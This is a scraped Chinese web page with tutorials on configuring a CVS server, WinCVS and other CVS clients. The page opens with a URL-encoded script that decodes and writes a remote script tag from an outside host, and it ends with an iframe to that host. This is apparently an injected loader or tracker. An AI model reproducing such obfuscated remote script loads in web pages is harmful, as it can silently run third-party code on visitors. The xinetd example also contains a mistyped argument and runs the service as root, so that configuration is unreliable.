HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
CVS服务器与WinCVS的配置与使用
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
CVS服务器与WinCVS的配置与使用
作者:
YanxiWu
发表时间:2002/11/26 10:10am
(摘自ChinaUnix.net)
第一部分 CVS服务器的配置(以1.10版)
作者:吴炎溪 Email:Yanxi-Wu@21cn.com
1、CVS简述与CVS服务器的安装:
CVS是目前比较流行与优秀的版本管理与控制工具,它深受大多数开发人员与系统管理的喜爱,同时也是用来管理其它日常文档(如word工作文档之类)的一个强有力的工具。这一部分将对CVS服务器的安装、配置与使用方法进行简单、扼要的介绍,以帮助大家尽快的使用CVS来进行一些版本的管理与控制工作。
2、CVS服务器的安装
CVS服务器版可以从网上的很多地方下载到,也可以到CVS的官方网站进行下载。根据你所使用的系统,下载相应的版本,然后进行安装。因为当前大部分人是在Linux下使用CVS服务器进行版本管理,并且Redhat Linux是目前最流行的一个Linux发行版之一,所以本文将主要基于Redhat Linux进行介绍。首先下载CVS服务器的rpm包,当然也可以下载其它方式的包如源程序包,这也就是Linux的一个优点之一。然后采用以下命令进行安装:
rpm -ivh cvs-1.10.8-3.i386.rpm
3、配置/etc/services文件:
安装完之后的第一件事就是要配置CVS服务器的配置文件,使其能正常的工作。首先在services文件中添加cvspserver,使其成为Linux的一种服务也就是cvs服务器例程的入口,配置如下:
cvspserver 2401/tcp # cvs client/server operations
cvspserver 2401/udp # cvs client/server operations
4、配置xinetd,用xinetd来启动CVS服务器:
进入到/etc/xinetd.d/目录,然后编辑一个文本文件,名字一定要与/etc/services中的入口名字cvspserver一致,所以这里用cvspserver作为文件名,文件的内容如下所示:
service cvspserver
{
disable = no
socket_type = stream
wait = no
user = root
env = HOME=
server = /usr/bin/cvs
server_args = -f --allow -root=/home/cvsroot pserver //指定认证方式为pserver,注意:-f
}
注意:a、service后面的名称一定要和你在/etc/service文件中的cvs服务名称一样;
b、env = HOME=这一行的目的就是为了解决在执行一些cvs操作时产生的读取/root/.cvsignore文件的错误,上面env那行的意思就是在运行cvs服务的时候将环境变量HOME置空,这样虽然执行cvs的用户是root,但是由于没有了HOME这个环境变量,所以cvs就不会在去读取/root/.cvsignore文件了。
5、配置CVS用户与cvsroot的属主与属组:
首先建立一个用户组cvs,可以使用groupadd或者addgroup命名,也可以直接编辑/etc/group文件添加这个组,然后添加一个用户cvsroot, 然后修改/etc/passwd文件使cvsroot用户的缺省组是cvs组,而不是cvsroot组(也就是修改)。在/home目录下建立cvsroot目录(也可以在其它你喜欢的目录下建),然后修改/home/cvsroot的属主及属性:
#chown cvsroot.cvs /home/cvsroot
#chmod 771 /home/cvsroot
6、vs进行初始化:
安装完CVS服务器之后的另一件重要的事情就是要初始化CVS服务器的根目录,以后创建的CVS项目都将建立在这个目录下,采用的命令如下:
#cvs -d /home/cvsroot init
这样目录/home/cvsroot就成为CVS服务器的根目录,以后创建的目录都将默认的存放在这个目录下。
7、登录cvs服务器(在Linux或其它Unix系统下进行登录的情况):
a、如果是远程登录,采用以下语法:
#cvs -d :pserver:cvsroot@host:/home/cvsroot login
CVS password://输入用户cvsroot的口令;
如果没有出现其它的任何提示就表示登录成功了,否则要根据提示进行相应的修改。 下面对登录命令的语法进行说明:
其中,:pserver表示采用pserver方式进行用户登录认证,一般的CVS服务器都采用这
种方式,当然也可以采用其它方式,具体参考相应的资料;
:cvsroot表示要登录的用户名,只要是cvs组的成员都可以,如:cather;
@host表示要登录的服务器,可以是DNS名,也可以是IP地址,如:10.104.1.204;
:/home/cvsroot表示CVS在服务器上的目录,也可以是其它目录(由第6中你所
指定的用来做init初始化的目录决定);
提示:也可以把export CVSROOT=:pserver:jchuang@192.168.0.8:/home/cvsroot这一句直
接写在用户的初始化文件中(如:.bash_profile),这样用户每次登录时,只需输入:
#cvs login
然后输入相应的口令就可以登录到cvs服务器上。
b、如果是本地登录,可以直接把export CVSROOT=/home/cvsroot这一句写在用户的初
始化文件如:.bash_profile中;然后直接
8、向CVS添加新的项目模块
一般我们都已经有一个或多个项目了,这样我们可以用下面步骤生成一个新的CVS项目。将一个工程文件置于CVs中进行版本控制,在CVS 术语中称作导入(import)。从名字上就可以看出,在导入前需要为此作些准备工作。
输入操作的基本要求是有个"干净"的目录结构。"干净"的意思是不需要版本控制的文件都被移走了(如编译生成的文件,备份文件等等)。如果工程已经开始一段时间了,这就显得很重要。在目录中也许有些是不打算将其置于版本控制下的文件,但是又想将他们放在这里,这种情况下,你要在输入之前将它们移走,然后再移回来。
注意的是CVS 认为空目录是不存在的。如果想增加一个既不包含文件又不包含子目录的目录,需要在其下创建一个哑文件。建议你创建一个名为 README.txt 的文件,其内容为对目录的简要说明。
进入到已有项目的目录,比如叫 cvstest:
$cd cvstest
运行命令将项目文件导入到cvs仓库中:
$cvs import -m "this is a cvstest project" cvstest v_0_0_1 start
说明:import 是cvs的命令之一,表示向cvs仓库输入项目文件.
-m参数后面的字串是描述文本,对项目进行描述,如果不加 -m 参数,那么cvs会自动运行一个编辑器(一般是vi,但是可以通过修改环境变量EDITOR来改成你喜欢用的编辑器)让你输入信息,cvstest 是项目名称(实际上是仓库名,在CVS服务器上会存储在以这个名字命名的仓库里)
v_0_0_1是这个分支的总标记.没啥用(或曰不常用)
start 是每次 import 标识文件的输入层次的标记,没啥用。
这样我们就在用户指定进行初始化的目录/home/cvsroot下建立了一个名字叫cvstest的CVS模块了,然后,我们可以把这个测试项目的文件删除,试验如何从仓库获取文件这会在后面的客户端文章进行说明。
(注:本小节主要引用自http://linuxaid.com.cn何伟平的“CVS服务器快速指南”)
9、从cvs本地服务器上checkout相应的模块:
a、如果是在CVS服务器所在计算机上,可以直接采用如下命令:
#cvs checkout stw
这样将把stw项目模块checkout到当前目录下。
b、如果是在远程运行Linux或其它Unix系统上,在第7中登录之后也可以用上边的命
令把相应的项目模块checkout到当前目录下。
另外,如果是在windows端进行checkout,可以采用WinCVS,那么还要对WinCVS进行其它的一些配置,下一部分将具体介绍它的配置方法。
第二部分 WinCVS的配置与使用方法
1、WinCVS简介:
WinCVS是CVS的一个客户端软件,它运行在Windows上,用来在Windows上登录CVS服务器,然后进行一些CVS相关的操作与管理。由于当前很多的企业内部都采用Linux/Unix做服务器,而用Windows做客户端,所以,WinCVS与CVS服务器配合使用将组成最强有力的版本控制与管理的系统之一。
2、WinCVS的下载与安装;
最新的WinCVS可以从http://sourceforge.net/project/showfiles.php?group_id=10072地址下载到,也可以在http://sourceforge.net/project 上下载到最新的或其它版本的WinCVS。
下载到相应的版本后根据向导进行安装,已经要使用CVS的用户,安装这个WinCVS应该没什么问题吧!
3、配置WinCVS:
a、一般选项的设置,选择Admin->Preferences…,出现如下界面:
第一、Authentication:用来配置cvs服务器的认证方式,可以从下拉框中选择其它的认证方式,不过一般只要选择默认的pserver方式就可以,要注意的是必须与cvs服务器配置时所指定的认证方式一致;
第二、Path:用来配置cvs在服务器上的主目录路径,也就是服务器上用进行cvs初始化的目录,如:/home/cvsroot;
第三、Host Address:用来配置cvs服务器所在服务器的地址,可以是IP地址,也可以是DNS名,如:10.104.1.204;
第四、User name:用来配置要使用些WinCVS来登录CVS服务器的用户名,如:cvsyxwu,用户的登录必须由管理员把其添加cvs用户组中;
第五、CVSROOT:此项一般都不需要用户进行修改,用户在输入上边的几个选项时,系统将自动根据用户的输入生成此项的相应内容。
b、全局选项的设置,在上一个界面上选择“Globals”:
此项的配置主要是要注意这几选项:
第一,Checkout read-only不要选上,否则,checkout出来的源代码将不允许用户进行
修改,并且此选项默认是选中的;
第二,Prune (remove) empty directories也不要选上,否则,会自动删除空目录;
第三,对一般配置没有特殊要求的,把Dirty files support、Supply control when adding
与TCP/IP compression选项选中;
4、登录服务器:
选择Admin->login,将出现如下对话框要求用户输入登录口令
输入口令后,选择“OK”按钮,如果CVS服务器与WinCVS的配置都没出错的话,将在CVS的状态栏中提示:
cvs -z9 -d :pserver:cvsyxwu@10.104.1.204:/home/cvsroot login
Logging in to :pserver:cvsyxwu@10.104.1.204:2401/home/cvsroot
***** CVS exited normally with code 0 *****
code 0表示正确的登录;而如果出错的话,将是code 1,那么要根据错误的提示进行相应的修改。
5、从CVS服务器上check out相应的模块:
第一,在workspace中的Modules选中要存放checkout模块的目录;
第二,选择Create->Checkout Modeles,将出现如下对话框:
其中,Module name and path on the server就是要存放checkout 内容的目录,由用户输入;而Local folder to checkout to就是第一中用户所选择的目录。
6、修改之后把文件提交到CVS服务器
a)、只有一个用户对文件进行修改的情况
用自己喜欢的编辑器对checkout出来的文件进行修改,修改之后的文件在没有提交之前会是红色的,如下图example.h文件:
选中红色的文件example.h后右击选择“Commit Selection”选项,如果没有其它用户也对其进行修改并已经提交到CVS服务器上,一切正常的话将把example.h文件提交到CVS服务器并把图标恢复成原来的颜色。
b)、两个或两个以上的用户对同一文件的不同部分进行修改的情况
这种情况就是如用户A与用户B都checkout了文件example.h,内容如下:
int callby (int count)
{
printf("ExcelStor!/n");
}
void main(int argv,char *argc)
{
//added by my cvs
printf("I am Cather/n");
}
int mainexample()
{
printf("OK/n");
}
然后用户A修改成如下,并提交到CVS服务器(一般将正常提交):
int callby (int count)
{//add
printf("ExcelStor!/n");
}
void main(int argv,char *argc)
{
//added by my cvs
printf("I am Cather/n");
}
int mainexample()
{//add
printf("OK/n");
}
接着用户B修改成如下:
int callby (int count)
{//add
printf("ExcelStor!/n");
}
void main(int argv,char *argc)
{
//modified
printf("I am Cather/n");
}
int mainexample()
{//add
printf("OK/n");
}
当用户B选择“Commit Selection”时将提示:
cvs server: Up-to-date check failed for `example.h'
cvs [server aborted]: correct above errors first!
此时表明已经有用户对同一个文件example.h进行修改并提交到CVS服务器,这时
要先选择“Update Selection”对本地example.h与CVS服务器上的example.h文件进行
同步与合并,不用选中出现的任何选项,直接选择“OK”,这时将显示如下:
cvs -z9 update example.h (in directory C:/my cvs/STW/src/)
RCS file: /home/cvsroot/STW/src/example.h,v
retrieving revision 1.5
retrieving revision 1.6
Merging differences between 1.5 and 1.6 into example.h
M example.h
***** CVS exited normally with code 0 *****
表明用户B与用户A的修改已经合并成功,同时文件example.h的图标也将变成红色,合并后的文件是存放在用户B的本地机上,为了更新到CVS服务器还必须选中example.h并右击选择“Commit Selection”才能把用户A与用户B的修改合并后的结果提交到CVS服务器上。注:M表示此文件已经被修改过。
c)、两个或两个以上的用户对同一个文件的相同部分进行修改的情况
这种情况就是如用户A与用户B都下载了文件example.h,内容如下:
void main(int argv,char *argc)
{
printf("I am Cather/n");
}
然后用户A把文件修改成如下,并提交到CVS服务器(一般将正常提交):
void main(int argv,char *argc)
{
printf("I am Cather/n");
printf("I am Pat/n");
}
接着用户B又把文件修改成如下:
void main(int argv,char *argc)
{
printf("I am Cather/n");
printf("I love you Cather/n");
}
如果用户B这时选择“Commit Selection”准备把修改结果提交到CVS服务器,此
时将显示如下的错误提示:
cvs -z9 commit -m "update in 11:20" example.h (in directory C:/my cvs/STW/src/)
cvs server: Up-to-date check failed for `example.h'
cvs [server aborted]: correct above errors first!
***** CVS exited normally with code 1 *****
表明用户B的修改与其它用户的修改冲突,这时要先选择“Update Selection”,将显示如下提示:
cvs -z9 update example.h (in directory C:/my cvs/STW/src/)
RCS file: /home/cvsroot/STW/src/example.h,v
retrieving revision 1.9
retrieving revision 1.10
Merging differences between 1.9 and 1.10 into example.h
rcsmerge: warning: conflicts during merge
cvs server: conflicts found in example.h
C example.h
***** CVS exited normally with code 0 *****
example.h前面的C表示与其它用户的修改有冲突,并且文件的图标会加显示一个“C”,如下所示:
双击example.h将显示example.h的内容,如下:
void main(int argv,char *argc)
{
printf("I am Yanxi/n");
printf("I am Cather/n");
<<<<<<< example.h
printf("I love you Yanxi,too!/n"); //这部分为你的修改
=======
printf("I love you Cather!/n"); //这部分为其它用户的修改
>>>>>>> 1.10
}
这时你应该与用户A进行协商以决定最终要怎样修改。比如,可以修改成:
void main(int argv,char *argc)
{
printf("I am Yanxi/n");
printf("I am Cather/n");
printf("I love you Yanxi,too!/n"); //这部分为你的修改
printf("I love you Cather!/n"); //这部分为其它用户的修改
}
然后选择“Commit Selection”进行提交,将显示如下的提示信息:
cvs -z9 commit -m "update in 11:20" example.h (in directory C:/my cvs/STW/src/)
Checking in example.h;
/home/cvsroot/STW/src/example.h,v <-- example.h
new revision: 1.11; previous revision: 1.10
done
***** CVS exited normally with code 0 *****
表明用户A与用户的修改已经合并成功。
这样,向CVS服务器提交文件所会遇到的问题也基本上就是这些,用户要根据所遇到的实际问题进行修改。
7、向CVS服务器添加新文件
在本地添加文件后,要提交到服务端。先选中文件,然后点击“添加按钮”,添加文件后,再在右键菜单中选择提交命令“Commit Selection”即可。
如图,选中文件example.h.bak,因为example.h.bak当前不是CVS的文件,此时“添加按钮”将由不可选状态变成可选状态,所以Status中显示为“NonCvs file”,选择“添加按钮”之后example.h.bak图标将变成红色并增加了一个A字母,如下:
然后选中example.h.bak,右击,选择“Commit Selection”把文件example.h.bak提交到CVS服务器上而成为CVS的一个文件。
8、结束语
来到这里,你基本上已经能为自己或公司配置一个实用的CVS服务器与WinCVS客户端,配合使用CVS进行系统开发或其它文档的版本管理与控制。
cvs 使用
51CMM.COM整理 作者:曹晓钢 [2004/04/29]
CVS client使用前必须明白的基本概念
1,CVS
CVS (Cuncurrent Versions System)是基于TCP/IP协议的版本控制工具,也是Open source界最重要的开发工具之一。
它原来主要工作在UNIX平台下,现在在windows平台上也出现了很多GUI工具。
关于其由来,发展,请参阅http://www.redsaga.com/CVS_newbie_win32/www.cvshome.org 。
CVS和其他大部分版本控制软件一样,是Client/Server结构的。你必须在本地为CVS repository准备好一个目录,来和服务器同步源代码。
和在Windows 开发平台中拥有很大用户群的Visual Source Safe(VSS)相比,CVS主要由两个不同之处。
一是VSS依靠服务器上的一个共享目录提供服务,每一个client必须能够访问这个共享目录。这也就决定了source safe在TCP/IP环境下使用很困难。对于分布跨越数个城市甚至国家的工作小组来说,只有通过VPN才能够安全的访问source safe数据库。(SourceGear公司(www.sourcegear.com)发售名为SourceOffSite的商业软件包,US$239 per user,也可以为远程用户提供通过TCP/IP访问source safe数据的能力。) 而CVS依靠TCP/IP连接提供服务,所以它天生就是为了在internet上协同工作而设计的。虽然基本的pserver连接安全性不是很高,但是通过使用SSH,可以获得很高的安全性。
二是CVS反对对文件上锁的机制。VSS以及其他很多传统版本控制工具要求一个文件只能有一个使用者,它必须先checkout声明编辑文件的独享权力,直到checkin为止。但是对于地理上不限制使用者位置的CVS来说,等待一个用户checkin是一件痛苦的事情,而互相沟通比一个紧密工作的团体更困难。CVS采取多个用户可以同时对一个文件进行编辑,然后commit的方式解决这个问题。假设由于沟通不足出现冲突,使用者必须手工解决冲突之后再进行commit。在这种情况下,冲突的开发者必须努力进行足够的沟通以避免再次冲突。
CVS服务器可以被配置为把commit记录自动张贴到新闻组或者开发者的email信箱中去。注意这些辅助记录将有助于开发者之间的合作。
2, repository,module
CVS服务器上,一个源代码仓库被称为一个repository,一个server上通常可以运行多个repository,每个repository都是完全独立的,可以有不同的用户列表和访问规则。在一个repository之下,文件按照module组织,每一个module就相当于一个工程,大致上相当于Source safe里面的project。
VSS在你连接上服务器之后,会列出所有的project。但并不是所有的CVS server都会提供module的列表。事实上,哪些module被公开是由管理员控制的。如果你知道一个被隐藏的module的名字,你仍然可以正常的访问这个module。
3,CVSROOT
CVS依靠运行在服务器上的一个服务程序提供TCP/IP的连接。为了访问一个CVS数据库,你必须知道你所使用的协议,服务器的地址,服务器提供的Repository的名称以及你的用户名和密码。
有数种协议可供选择。Unix/Linux机器上的CVS通常使用pserver协议,这是一种不非常安全的协议,但是如果你有额外的安全要求,可以通过SSH进行增强。除此之外,NT机器还支持ntserver协议,它通过主机的NT用户表进行访问控制(但是这是在internet上不可用的方法)。kserver和gserver协议用的比较少,他们依据Kerboses提供额外的安全保护。
你有必要知道CVSROOT这个参数。CVSROOT是一个用":"开始及分隔各个部分的字符串,它包含了协议、用户名、服务器地址和repository名称。对于用户来说,CVSROOT就像URL一样,是访问一个server的途径。
一个典型的CVSROOT=:perser:cao@61.155.107.187:/cvs。这里,pserver是协议名称,cao是用户id,61.155.107.187是主机ip,/cvs是repository的名字。NT主机的repository一般会采取d:/CVSROOT之类的格式。
另一个例子是:pserver:anonymous@jivesoftware.com:/cvs,这是jivesoftware公司提供的开放源代码java技术论坛的CVSROOT。
在windows下使用命令行方式,这个参数可以通过一个环境变量使用。在windows 2000/XP系统中,你可以通过在'My computer'的properties中选择advanced,然后选择'Enviroment Variables'来输入这个环境变量。
4,checkout,update
为了得到module下面的源代码,你只需要使用checkout指令。和Visual source safe不一样,checkout只是取得文件,而非锁文件。
如果你已经有了本地文件,为了和server保持同步,你需要进行update操作。update会自动把server上的新内容取到本机来,如果你本地文件进行过了改动,它会帮您做合并工作。
checkout 和 update既可以针对一个特定的文件,也可以针对一个目录或者整个module。
5, commit
如果你对本地代码做了任何修改,或者增加一个文件,删除一个文件,每当你需要把你的改变提交到server上的时候,你就需要做commit动作。假设两个人都在本地修改了同一个文件,那么他们就像在进行一个竞赛,如果你快,那么你赢了。后commit的人将被server拒绝,不得不合并你的修改再次提交。
commit既可以针对一个特定的文件,也可以针对一个目录或者整个module。
6, revision
Revision是指每一个文件的版本信息。当你第一次增加一个文件到repository的时候,它会有一个初始revision是1.1,以后每次提交,就会增加到1.2,1.3...
在一个branch中的文件,有相对于这个branch的版本号。如果你对文件作了tag,那么你会看到revision变成1.1.1.1的形式。具体的含义我们在branch和tag的时候描述。
7,branch
Branch是一棵正常生长的代码树中的枝杈。开始的时候,任何一个module都有一个主枝被称为'HEAD'。
一个branch最终要么被合并到主干中去,要么被结束。branch通常用来debug,如果这个bug被fix了,修改bug的代码应该被合并到主枝上去。一个branch也可能经历多次与主枝的合并。
8, tag
Tag用来进行标示必要的信息。当您进行一次公开发布之前,您有必要对主枝标示"release 1.0"。这样您以后就可以随时回到这个版本。
//to do: 请完善这里的描述
CVS命令行
在得到CVSROOT和你的口令之后,你就可以试着登陆了。
首先,由于其他所有的GUI工具都是基于CVS基本协议的,而且他们可能会提供CVS的命令行或者等价形式作为显示的一部分,所以你应该对命令行操作有所了解。如果你还没有一个cvs。exe的命令行程序,从http://www.redsaga.com/CVS_newbie_win32/www.cvsnt.org你可以得到一个cvsnt的下载连接,其中就包含了一个命令行的cvs.exe程序。我们先从它开始(为了作为一个client使用,你不需要安装cvsnt的server组件)。CVSNT的cvs.exe是专门为windows编写的,你需要把cvs.exe放在你的path里面。
1.进入命令行方式。
和VSS一样,你也需要在本地有一个工作目录对应于一个repository。假设这个目录是'd:/works/sandbox'。请切换到这个目录。
输入"cvs"。你会看到:
这些提示信息告诉您关于cvs的基本语法。cvs后面跟着的是全局参数,然后是命令,最后是命令的参数。
2.login
正确的login不会有任何输出,否则会告诉你错误原因。
cvs
3.下面我们看看这个CVS server中有哪些module。
4.假设现在我们工作的项目是projectX,下面我们需要得到它下面的全部文件。
现在让我们看一下我们得到了什么。
在d:/works/sandbox目录下,你可以看到有一个projectX目录。这就是你得到的所有文件。
这个目录下你会发现一个叫做 CVS的目录。危险!请不要删除这个目录,或者改名,或者改动其中的任何文件,除非你知道你在做什么。这个目录是CVS的控制目录。如果你用过source safe,你一定很熟悉。scc这个文件,CVS目录的作用就和这个控制文件一样,都是用来记录你访问服务器的参数。
这里我们需要解释一下cvs和VSS的名词差别。在VSS中,checkout意味着你将获得一个文件的修改权,而cvs中checkout的这个含义取消了,仅仅指取得文件的新版本。很多cvs server会有一个anonymous用户,他只有checkout权限,也就意味着它只读。
5.让我们试着加入一个文件:
在d:/works/sandbox/projectX下,新建一个文件newfile.txt,
然后,在这个目录下执行:
你需要commit它才能被sever接受。
一个notepad窗口弹出请您输入注释。
这是commit完成的结果。现在的版本号是1.1。
6.好了,现在假设您需要改一下这个文件的内容。
CVS可以帮助您比较现在您的版本和repository中的版本有什么不同。
好了,现在您可以提交您的新文件。
CVS会帮您保留您的各个版本。在commit之后,现在我们来看一看各个版本的history。
7.最后,为了完成这个试验,请把这个newfile文件删去。
我们现在认识了一些最基本的CVS入门级指令。
其实CVS是非常强大的,我们并没有用到一些更复杂的功能,请参阅cvs的手册来得到更为详尽的帮助。
在多人同时开发的时候,冲突有时候也是不能避免的。
// to do:加入处理 cvs update和处理merge的部分。
更多的资料请参阅Karl Fogel的《Open Source Development With CVS》一书。该书的中文译本《CVS开源软件开发技术》由机械工业出版社出版(ISBN 7-111-08891-3/TP.1885,人民币35.00)。按此连接到华储网上电脑书店订购http://www.huachu.com.cn/asp/book/brow.asp?lbbh=B99112091
用MFC编写的windows平台CVS图形界面 --- WinCVS(未完成)
好了,就像黑白电影总是会过渡到彩色电影一样(正巧,就像现在发生在移动电话市场的情况一样),cvs命令行之外,一些图形界面的程序被编写出来简化你的操作。由于CVS的协议是公开的,所以,只要你的编程语言支持socket通讯,你也可以写一个。这个世界上有好几个这样的尝试,WinCVS就是其中一个。它是在win32平台上用MFC开发的。从我自己的体会来看,这是一个有益的尝试,但是还远远称不上精美。和VSS和source off site,borland的tram source,以及PVCS的界面比较,这个windows界面还显得很粗糙,差强人意。
但是我们还是可以从它开始进行我们的工作。
下载请至http://www.redsaga.com/CVS_newbie_win32/www.cvsgui.org,那里有最新的版本。
打开开始菜单的之后,你看到的是这样一个界面:
界面由3个主要区域组成,坐上角是目录结构,右上角是文件夹详细内容,下方是CVS命令的log。你可以从下方的log中得知cvs运行的详细信息。
首先你要做的事情就是告诉winCVS你的CVSROOT。
这个对话框在winCVS1。2和1。3的各个版本中稍有不同,但是不妨碍你输入CVS服务器的详细信息。
下一步就是login。
好了,现在我们就可以去得到一份jive2的源代码了。
你可以看到,winCVS默认会加上压缩的参数,这样可以减少网络流量,加快速度。
同样,用winCVS进行文件修改也是挺方便的。
以上就是winCVS的简要操作指南。更进一步的复杂操作,请参阅其帮助。
评价:值得关注,但不推荐。
在windows Explorer里直接checkout ---- TortoiseCVS
TortoiseCVS已经是一个相当成熟的cvs界面了,它的工作方式也是非常有趣的。
TortoiseCVS是一个简洁有效的CVS界面。你完全可以用它替代winCVS做日常绝大多数的工作。他独特的运行方式非常迷人,在一些商用配置管理工具,比如Rational ClearCase中,你也可以看到这样的windows explorer扩展程序的工作方式。
缺点:
1,tortoiseCVS会一直不释放它所操作的一些CVS文件和文件夹的系统资源。你可能会在试图删除一个在CVS控制之下的目录时遇到麻烦。windows系统认为有另一个进程正在打开它(显然就是TortoiseCVS),我没有找到如何杀掉在后台执行的TortoiseCVS的方法。在这种情况,用TortoiseCVS去update一下另一个module有所帮助。或者请重起你的explorer。
2,如果你需要在两个不同的server或者repository上做checkout的工作,TortoiseCVS有一个bug。它会在你输入CVSROOT信息,checkout第二个module的时候仍然使用第一个repository的CVSROOT。但是再做一次同样的操作就会成功的达到你的目的。
评价:推荐。
按此进入关于使用TortoiseCVS的详细说明
基于Netbeans Java类库的漂亮GUI ---- SmartCVS
使用java编写的CVS GUI在过去一两年中得到了长足的发展。拜jdk1.3所托,现在java程序的执行速度也有很大提高。Netbeans是由sun赞助的一个开放IDE,它其中包含了了CVS的基础类库。一个商业性的GUI,SmartCVS,就是在netbeans的稳定的cvs核心之上编写的。 虽然SmartCVS的商业版本收费,但是其基础版本是完全免费的,而这个基础版本已经足够大多数应用所需。
SmartCVS你可以在www.regnis.de下载。
SmartCVS自从1.2beta版本开始引入smartCommit,不再区分add和checkin,统一使用commit进行操作。
利用SmartCVS,你也可以看到一个文件的历史,以及图形化表示的各个分支。
总结:SmartCVS正如他的名字所说的,是一个相当聪明,精致,漂亮的CVS 客户端。作为日常工作它是完全可以胜任的。如果和TortoiesCVS结合起来,可以给你相当理想的CVS工作平台。
同时,它也可以在所有jdk环境中运行,不仅仅局限于windows平台。
IDE集成
对程序员来说,真正在编码的时候,IDE才是每天接触最多的环境。如果能够在熟悉的IDE中使用CVS,当然实用性增强很多。Visual source safe 在Microsoft的开发工具产品VB,VC中集成得相当出色,也大大提高了使用使用Microsoft开发平台的工作效率。
下面我们就来看看一下在流行的java开发工具中如何使用CVS。
IBM Visual age for java IDE集成 插件 --- vajcvs (未完成)
Visual age for java支持一个开放的Tool API,CVSin就是这样的一个tool。
下载地址:
安装参见其内部readme文件。
Borland jBuilder 内置CVS支持
jBuilder很早就在3.0中内置CVS支持,而且当时cvs是jbuilder唯一一个正式支持的源代码管理工具。在最新的Builder 6中,当然对CVS也支持得很好。
完善的设计,领先的强大工作平台 --- Eclipse
及内置CVS支持IBM新的开放式集成开发环境,将是IBM visual age 系列开发工具的下一个平台。它提供CVS作为基础集成的一部分。在Eclipse中访问CVS是一件相当轻松自如的事情,Eclipse按照自己的需要封装了CVS,你可以看到,和其他访问方式完全不同,Eclipse是到现在为止最强大的CVS工作平台。
Visual Studio IDE集成插件 -- CVSIn (未完成)
这是一个用于Visual Studio的CVS插件,您可以利用它不离开IDE集成环境进行checkout/commit的操作。
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">